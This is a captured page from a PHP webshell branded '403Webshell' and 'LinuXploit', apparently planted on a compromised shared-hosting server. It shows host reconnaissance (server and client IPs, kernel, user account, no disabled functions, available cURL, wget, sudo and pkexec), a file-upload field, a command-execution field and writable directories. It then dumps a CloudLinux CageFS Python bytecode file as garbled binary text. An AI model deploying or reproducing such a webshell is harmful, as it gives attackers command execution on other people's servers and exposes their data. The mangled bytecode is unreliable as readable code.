- GRAYBYTE UNDETECTABLE CODES -

403Webshell
Server IP : 184.154.167.98  /  Your IP : 3.137.185.202
Web Server : Apache
System : Linux pink.dnsnetservice.com 4.18.0-553.22.1.lve.1.el8.x86_64 #1 SMP Tue Oct 8 15:52:54 UTC 2024 x86_64
User : puertode ( 1767)
PHP Version : 8.2.26
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/share/cagefs/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/share/cagefs/__pycache__/repair_homes.cpython-311.opt-1.pyc
�

��cga[���ddlmZddlmZddlmZddlmZddlmZej��ddlTddl	Z	ddl
Z
ddlZddlZddl
Z
ddlZddlZddlmZdd	lmZdd
lmZdZdZd
ZdZdZdZdZdZdZd�ZdZ d�Z!d�Z"d�Z#d�Z$dZ%e%dzZ&e%dzZ'd�Z(d�Z)d�Z*d �Z+d!�Z,d"�Z-d#�Z.d$�Z/d%�Z0d&�Z1d.d(�Z2d)�Z3d*�Z4d+�Z5d,�Z6e7d-kre5��dSdS)/�)�print_function)�absolute_import)�division)�unicode_literals)�standard_library)�*N)�mod_makedirs)�BASEDIR)�print_errorz"/usr/share/cagefs/repair_homes.logz/homez/etc/passwdz!/usr/local/apache/conf/httpd.confz%/usr/local/cpanel/bin/userdata_updatez/usr/sbin/usermodz/var/cpanel/userdataz/etc/cagefs.etc�c���	tjttz��}n#t$rYdSwxYw|D]�}tdz|z}ttzdz|z}tj�|��s�D	tj|��n #t$rtd|��YnwxYw	tj	||����#t$rtd|d|��Y��wxYwdS)Nz/etc/�/zWarning: failed to removezWarning: failed to move�to)
�os�listdir�DEBUG_PREFIX�
CAGEFS_ETC�OSError�path�islink�unlink�print�rename)�dirList�_file�target�origins    �`/builddir/build/BUILDROOT/cagefs-7.6.23-1.el8.cloudlinux.x86_64/usr/share/cagefs/repair_homes.py�uninstall_cagefs_etcr+s9����*�\�J�6�7�7����������������C�C����'�%�/���
�*�S�0�5�8���w�~�~�f�%�%�	��	7��I�f�������	7�	7�	7��-�v�6�6�6�6�6�	7����	C��I�f�f�%�%�%�%���	C�	C�	C��+�V�T�6�B�B�B�B�B�	C����C�Cs0�!$�
2�2�<B�B.�-B.�2C�C'�&C'z/bin/umountc��|���|���|D]}tjtd|g���dS)Nz-l)�sort�reverse�
subprocess�call�UMOUNT)�_list�lines  r�umount_listr(GsO��	�J�J�L�L�L�	�M�M�O�O�O��.�.������t�,�-�-�-�-�.�.�c�(�tdd�����}g}|D]j}|���d}|�t��dkr0|�||�d��d����k|S)N�/proc/mounts�r����r)�open�	readlines�split�findr
�append)�mountsr&r'�
mountpoints    r�get_mounted_dirsr6Ms���
�.�#�
&�
&�
0�
0�
2�
2�F��E��<�<���Z�Z�\�\�!�_�
��?�?�7�#�#�r�)�)��L�L��J�O�O�C�$8�$8�$9�$9�:�;�;�;���Lr)c�x�tdz|dd�zdz|zdz}tdd�����}g}|D]e}|���d}|�|��dkr0|�||�d��d����ft
|��dS)Nr���r+r,r-r.)r
r/r0r1r2r3r()�user�subdirr4�mylistr'r5s      r�umountr<Vs���
�s�]�4����9�
$�c�
)�$�
.�s�
2�F�
�.�#�
&�
&�
0�
0�
2�
2�F�
�F��=�=���Z�Z�\�\�!�_�
��?�?�6�"�"�b�(�(��M�M�*�Z�_�_�S�%9�%9�%:�%:�;�<�<�<��������r)c�j�t��}t|��dkrt|��dSdS)NrTF)r6�lenr()�dirss r�
umount_allr@as4�����D�
�4�y�y�A�~�~��D�����t��5r)z/etc/cagefs/zusers.disabledz
users.enabledc���|dd�}d|zdz|z}|rW	tj||z��n#t$rYnwxYw	tj|dz|z��dS#t$rYdSwxYw	t	|dz|zd��n#t$rYnwxYw	t||zd�����tj||zd��dS#t$rYdSwxYw)Nr8ri��wi�)r�remover�rmdirr	r/�close�chmod)�_dir�username�enable�prefix�fnames     r�toggle_filerLqsN��
�b�c�c�]�F���J�s�N�8�#�E�
��	��I�d�U�l�#�#�#�#���	�	�	��D�	����	��H�T�C�Z��&�'�'�'�'�'���	�	�	��D�D�	����	���c��&��%�0�0�0�0���	�	�	��D�	����	�����s�#�#�)�)�+�+�+��H�T�E�\�5�)�)�)�)�)���	�	�	��D�D�	���sB�1�
>�>�A�
A,�+A,�0B�
B�B�=C�
C%�$C%c���tj�t��rt	t||��tj�t
��rt	t
||��dSdS)N)rr�isdir�disabled_dirrL�enabled_dir)rHrIs  r�toggle_userrQ�sd��	�w�}�}�\�"�"�4��L�(�F�3�3�3�	�w�}�}�[�!�!�7��K��v�:�6�6�6�6�6�7�7r)c�D�t|d��t|��dS)NF)rQr<�r9s r�disable_userrT�s!����e����
�4�L�L�L�L�Lr)c�&�t|d��dS)NT)rQrSs r�enable_userrV�s����d�����r)c���tj�|��rAtjdd|gtjd���}|���\}}d|vrdSdS)N�filez-biT)�stdout�textrZF)rr�isfiler#�Popen�PIPE�communicate)r�p�out�_s    r�is_text_filerb�s]��	�w�~�~�d������f�U�D�1�*�/�PT�U�U�U���������Q��S�=�=��4��5r)c���t|dd���	tj���}|dkrdS|dkr#td��tjd��td���_)	N� T)�end�flushzyes
zno
�AbortingrzPlease, reply with yes or no)r�sys�stdin�readline�exit)�messager's  r�confirmrm�su��	�'�s�$�'�'�'�'�.��y�!�!�#�#���7�?�?��E�
�V�^�^��*�����H�Q�K�K�K�
�,�-�-�-�.r)c�p�tj��}|D]}|j�d��rdS� dS)N�/var/cagefs/TF)�pwd�getpwall�pw_dir�
startswith)�pwr's  r�invalid_homes_existru�sG��	����B������;�!�!�.�1�1�	��4�4�	��5r)c��|D]%}t|d���t|d|����&td��td|���dS)Nrd)re)rerXr)rX�r)�log�messages�msgs   r�	print_logr{�s`���&�&��
�c�s�����
�c�s��%�%�%�%�%�	�"�I�I�I�	�"�3������r)c	���	tjtd||g��}|dkrt|dtd||d��dSn*#t$rt|dtd||��YdSwxYwdS)Nz-drzError:�failedT�Error: failed to runF)r#r$�USERMODr{r)r9�home_dirrx�rets    r�usermodr��s�����o�w��h��=�>�>���!�8�8��c�8�W�d�H�d�H�M�M�M��4��������#�-�w��h��M�M�M��t�t������5s�=A�#A)�(A)c�L�d}	tj|tjtjd���}|���\}}|dkrt	||��|dkrt	||��|jdkrd}n##t$rt	|d|��d}YnwxYw|S)NFT)rY�stderrrZrr~)r#r\r]r^r{�
returncoder)rx�command_line_list�errorr_�
stdoutdata�
stderrdatas      r�run_subprocessr��s����E����.�#-�?�#-�?�!%�
'�
'�
'��$%�=�=�?�?� ��Z������c�:�&�&�&������c�:�&�&�&��<�1����E��������#�-�/@�A�A�A����������Ls�A<B�B!� B!Tc	���ttd��}t��s&t|d��|���dStd��td��tdtzdz��td��tdt��td	��td
��|rtd��tj	dtj
����}t|d
|��tjttdz��t|dtdz��tjttdz��t|dtdz��t|dtd��ttd��}|���}|���t!j��}|D�]�}|j�d���r�t|d|jd��t*j�|j��}||jkrt|d|jd|j����t*j�|j��}t*j�|��}		t!j|	��}
nd#t4$rW}t|d|jd|j��t|d|	d��t|t7|����Yd}~��7d}~wwxYw|
j}|�d��rt}
nt*j�|��}
t|d|
��|
dz|	zdz|z}|
dz|z}t*j�|��sHt*j�|��s't|d|d��t|d|d|�����ntt;|��t*j�|��}t*j�|��r-	t+j |��n#tBtDf$rYnwxYwt*j�#|��s�	t+j$||��n:#tBtDf$r&t|d |d!|��tK|��Y���wxYwt*j�|��rt*j�#|��r%t|d"|d!|d#��tK|����]n&t|d$|d%|d&��t|d'|d(��tM|||��rtK|�����tOtQ|����D]`}||�)d��d)kr?||�*|j|��}|�)d��d)kr|||<�at+j+t*j�,tZ|����D�]y}t*j�,tZ|��dz|z}t]|���r;d*}t|d��}|���}|���tOtQ|����D]x}||�)d��d)krW||�*|j|��}|�)d��d)kr|||<d+}�ct|d,|��d*}n�y|rjtj||dz��t|d|dz��t|d-��}|D]}|�/|���|�����{tK|��t|d.|d/�����t|d0td��ttd-��}|D]}|�/|���|���t|d1��ta|tbg��|���dS)2N�a+�:Users with invalid pathes to home directories do NOT existz8Users that have invalid path to home directory are foundzC(users that have path to home directory starting with /var/cagefs).z+This script will move home directories to "z'" and change pathes to home directorieszJin /etc/passwd, /var/cpanel/userdata and /usr/local/apache/conf/httpd.confz(Log of all operations will be written toz&Backups will be created automatically.r�"Do you want to continue (yes/no)? �%Y-%m-%d %H:%M:%S�*** Repair startedz.repair.bakzCreated backup�Reading�...r,ro�Repairing user�Error: Cannot repair home path�for user�Cannot repair home path�Error: "Parent" user�does NOT existzBase home directory:r�Error: home directory of userzis NOT foundzSearched locations:�and�Error while movingr�
Error: moving�was NOT successfullzWarning: home directory�of user�already existszWarning: home directory of userzis NOT movedr.FTzError: cannot repairrB�User�has been repaired SUCCESSFULLY!�Writtingz"Rebuilding /var/cpanel/userdata...)2r/�LOGFILErur{rEr�
BASE_HOME_DIRrm�time�strftime�gmtime�shutil�copyfile�PASSWD�
HTTPD_CONFr0rprqrrrs�pw_namerr�basename�dirname�getpwnam�	Exception�strrNrT�realpathrrr�IOError�existsrrVr��ranger>r2�replacer�join�USERDATArb�writer��USERDATA_UPDATE)�askrx�cur_timer�
httpd_confrtr'�invalid_user�var_cagefs_home_of_parent�parent�pw_line�e�parent_home�	base_home�src�dest�ind�temp�	next_file�	file_path�modified�
userdata_file�userdata�	next_lines                        r�repair_homesr��sO��
�w��
�
�C�� � ���#�S�T�T�T��	�	������	�
D�E�E�E�	�
O�P�P�P�	�
7�
�
E�Fo�
o�p�p�p�	�
V�W�W�W�	�
4�g�>�>�>�	�
2�3�3�3�	�"�I�I�I�
�6��4�5�5�5��}�0�$�+�-�-�@�@�H�
�c�'��2�2�2��O�F�F�=�0�1�1�1�
�c�#�V�M�%9�:�:�:�
�O�J�
�=� 8�9�9�9�
�c�#�Z�
�%=�>�>�>��c�9�j�%�0�0�0���S�!�!�E����"�"�J�	�K�K�M�M�M�

����B��ST�ST���;�!�!�.�1�1�R	T�
�c�+�T�\�5�A�A�A��7�+�+�D�K�8�8�L��t�|�+�+��#�?���j�Z^�Zf�g�g�g��)+������(D�(D�%��W�%�%�'@�B�B�F�
��,�v�.�.�����
�
�
��#�8�$�+�z�SW�S_�`�`�`��#�5�v�?O�P�P�P��#�s�1�v�v�&�&�&����������	
����"�.�K��%�%�n�5�5�
9�)�	�	��G�O�O�K�8�8�	��c�1�9�=�=�=��C�-��&�s�*�<�7�C��S�=��-�D��7�=�=��%�%�(
d��w�}�}�T�*�*���c�#B�L�R`�a�a�a��c�#8�#�u�d�K�K�K����\�*�*�*��g�&�&�s�+�+���7�>�>�$�'�'����	�$������#�W�-�����������w�~�~�d�+�+�d�!��	�#�t�,�,�,�,��#�W�-�!�!�!�!�#�';�S�$��M�M�M�#�L�1�1�1� ��!�����G�M�M�$�/�/�!�B�G�N�N�3�4G�4G�!�!�#���T�4�I^�_�_�_�#�L�1�1�1� �!��c�#<�d�I�|�]m�n�n�n��c�#D�l�Tb�c�c�c�
�|�T�3�/�/�
��L�)�)�)���S��_�_�-�-�
/�
/���c�?�'�'��7�7�2�=�=�%�c�?�2�2�4�;��E�E�D��y�y��0�0�B�6�6�*.�
�3��� �Z�����X�|�(L�(L�M�M�
.�
.�	��G�L�L��<�@�@�3�F��R�	��	�*�*�.�$�H�$(��C�$8�$8�M�,�6�6�8�8�H�!�'�'�)�)�)�$�S��]�]�3�3�&�&��#�C�=�-�-�n�=�=��C�C�#+�C�=�#8�#8���d�#K�#K�D� $�y�y��8�8�B�>�>�04���
�+/��� )�#�/E�y� Q� Q� Q�+0�� %��D� �.���	�9�]�3J�K�K�K�!�#�'7��=�9P�Q�Q�Q�(,�Y��(<�(<�
�)1�;�;�I�)�/�/�	�:�:�:�:�%�+�+�-�-�-����%�%�%��c�6�<�1R�S�S�S���c�:�z�5�1�1�1���S�!�!�E�����
���D�����	�K�K�M�M�M��c�7�8�8�8��3��)�*�*�*��I�I�K�K�K�K�Ks=�1K�
L'�AL"�"L'�	Q�Q2�1Q2�R+�+3S"�!S"c�`�td��td��td��dS)NzGPlease, rename or remove /var/cagefs directory of old version of CageFSz7in order to correct operation of new version of CageFS.z8New /var/cagefs directory will be created automatically.rw�r)r�
print_warningr��s5��	�
S�T�T�T�	�
C�D�D�D�	�
D�E�E�E�E�Er)c�:�tj�d��r�t��s�	tj�d��r5tj�d��st
jdd��ntjd��n#ttf$rYnwxYw	tjdd��td��dS#ttf$r!td��t��YdSwxYwt��dSdS)Nz/var/cagefsz/var/cagefs.oldTz//var/cagefs has been renamed to /var/cagefs.oldz/failed to rename /var/cagefs to /var/cagefs.old)rrr�rurNrr��rmtreerrr�rrrr�r�r)r�rename_var_cagefsr��s)��	�w�~�~�m�$�$��"�$�$�	�
��7�=�=�!2�3�3�1�R�W�^�^�L]�=^�=^�1��M�"3�T�:�:�:�:��I�/�0�0�0����W�%�
�
�
���
����
 ��	�-�):�;�;�;��G�H�H�H�H�H���W�%�
 �
 �
 ��M�N�N�N��������
 ����
�O�O�O�O�O�%�s$�A(B�B,�+B,�0$C�.D�Dc��	tjtjdd�dgd���\}}n8#tj$r&t	d��tjd��YnwxYwt
j��dkr#td��tjd��|D]�\}}|dvr$td��tjd���-|d	vr#t��tjd���T|d
vr#t��tjd���{|dvr$t	d��tjd����|d
vr#t	d��tjd����td��dS)Nr-�f)z
do-not-askzrename-var-cagefsrzadd-syslog-socketzremove-syslog-socketzUsage errorrz root privileges required. Abort.)z-fz--do-not-askF)z--rename-var-cagefs)z--uninstall_cagefs_etc)z--add-syslog-socketzZInvalid option.
Use /usr/share/cagefs-plugins/install-cagefs-plugin.py --add-syslog-socket)z--remove-syslog-socketz]Invalid option.
Use /usr/share/cagefs-plugins/install-cagefs-plugin.py --remove-syslog-socketT)�getoptrh�argv�GetoptErrorrrkr�geteuidrr�r�r)�optsra�os   r�mainr��s�����-�������c�4U�4U�4U�V�V���a�a�������
�m����������������	�
���a����6�7�7�7������������1��&�&�&�������H�Q�K�K�K�K�
�*�
*�
*������H�Q�K�K�K�K�
�-�
-�
-� �"�"�"��H�Q�K�K�K�K�
�*�
*�
*��D�
E�
E�
E��H�Q�K�K�K�K�
�-�
-�
-��G�
H�
H�
H��H�Q�K�K�K��������s�-0�2A%�$A%c	��	�td��td��td��td��td��td��ttd��}t	jdt	j����}t|d	|��t��s&t|d
��|�	��dStj��}|D�]�}|j�
d���r�tj�|j��rt|d|jd
|jd���at|d|jd��tj�|j��}||jkrt|d|jd
|j����tj�|j��}tj�|��}	tj|��}nd#t*$rW}t|d|jd
|j��t|d|d��t|t-|����Yd}~��zd}~wwxYw|j}	|�|	��sbt|d|jd
|j��t|d��t|d|��t|d|	��t|d|����|	�
d��rt0}
ntj�|	��}
|
dz|zdz|z}tj�|��st|d|d|
dz|z�����|
dz|z}tj�|��rt|d|d|d�����	tj||��n+#t8t:f$rt|d|d |��Y���wxYwtj�|��rtj�|��rt|d!|d |d"����W	tj|��n#t8t:f$rYnwxYw	tj||j��n0#t8t:f$rt|d#|jd |��Y���wxYwt|d$|d%�����|�	��dS)&NzZThis script repairs home directories of users that have invalid pathes to home directorieszB(users that have path to home directory starting with /var/cagefs)zDThis script will move home directories to proper location and createz"appropriate symlink in /var/cagefsrr�r�r�r�r�ro�Homer�z is repaired already. Skipping...r�r�r�r�r�r�zGError: Path to home directory in /var/cagefs for parent user is invalidzParent user:zHome directory of parent user:z-Home directory of parent user in /var/cagefs:rr�zis NOT found inzError: home directoryr�r�r�rr�r�zError while creatimg symlinkr�r�) rrmr/r�r�r�r�r{rurErprqrrrsrrrr�r�r�r�r�r��endswithr�rNr�rrr��makedirs�symlink)
rxr�rtr'r�r�r�r�r�r�r�r�r�s
             r�repair_homes_oldr�
s��	�
f�g�g�g�	�
N�O�O�O�	�
P�Q�Q�Q�	�
.�/�/�/�	�"�I�I�I��0�1�1�1�
�w��
�
�C��}�0�$�+�-�-�@�@�H�
�c�'��2�2�2�� � ���#�S�T�T�T��	�	������

����B��^T�^T���;�!�!�.�1�1�]	T��w�~�~�d�k�*�*�
��#�v�t�{�J���Np�q�q�q���c�+�T�\�5�A�A�A��7�+�+�D�K�8�8�L��t�|�+�+��#�?���j�Z^�Zf�g�g�g��)+������(D�(D�%��W�%�%�'@�B�B�F�
��,�v�.�.�����
�
�
��#�8�$�+�z�SW�S_�`�`�`��#�5�v�?O�P�P�P��#�s�1�v�v�&�&�&����������	
����"�.�K�,�5�5�k�B�B�
��#�8�$�+�z�SW�S_�`�`�`��#�h�i�i�i��#�~�v�6�6�6��#�?��M�M�M��#�N�Pi�j�j�j���%�%�n�5�5�
9�)�	�	��G�O�O�K�8�8�	��C�-��&�s�*�<�7�C��7�=�=��%�%�
��#�>��N_�aj�kn�an�ou�au�v�v�v���S�=��-�D��w�~�~�d�#�#�
��#�6��i��Wg�h�h�h��
��	�#�t�$�$�$�$���W�%�
�
�
��#�3�S�$��E�E�E���
����
�G�M�M�$�'�'�
�B�G�N�N�3�,?�,?�
��#���T�4�AV�W�W�W��

���5�6�6�6�6���W�%�
�
�
���
����

��
�4���-�-�-�-���W�%�
�
�
��#�=�t�{�D�RV�W�W�W���
����
�c�6�<�1R�S�S�S���I�I�K�K�K�K�KsO�9H�
I/�AI*�*I/�2O�$O0�/O0�Q�Q1�0Q1�5R�)R=�<R=�__main__)T)8�
__future__rrrr�futurer�install_aliases�builtinsr�rrpr�r#rhr��clcommon.utilsr	�clcagefslib.constr
�secureiorr�r�r�r�r�rr�rrrr%r(r6r<r@�	INIPREFIXrOrPrLrQrTrVrbrmrur{r�r�r�r�r�r�r��__name__r�r)r�<module>r�s���&�%�%�%�%�%�&�&�&�&�&�&�������'�'�'�'�'�'�#�#�#�#�#�#� �� �"�"�"�����
�
�
�
�	�	�	�	�
�
�
�
�
�
�
�
�����
�
�
�
�����'�'�'�'�'�'�%�%�%�%�%�%� � � � � � �
.���
�	��
0�
�9��
��!���
�
��C�C�C�4��.�.�.�����������	��)�)����'�����47�7�7����
������
.�
.�
.�������
�
�
� ���2E�E�E�E�RF�F�F����,���^v�v�v�v�z����D�F�F�F�F�F��r)

Youez - 2016 - github.com/yon3zu
LinuXploit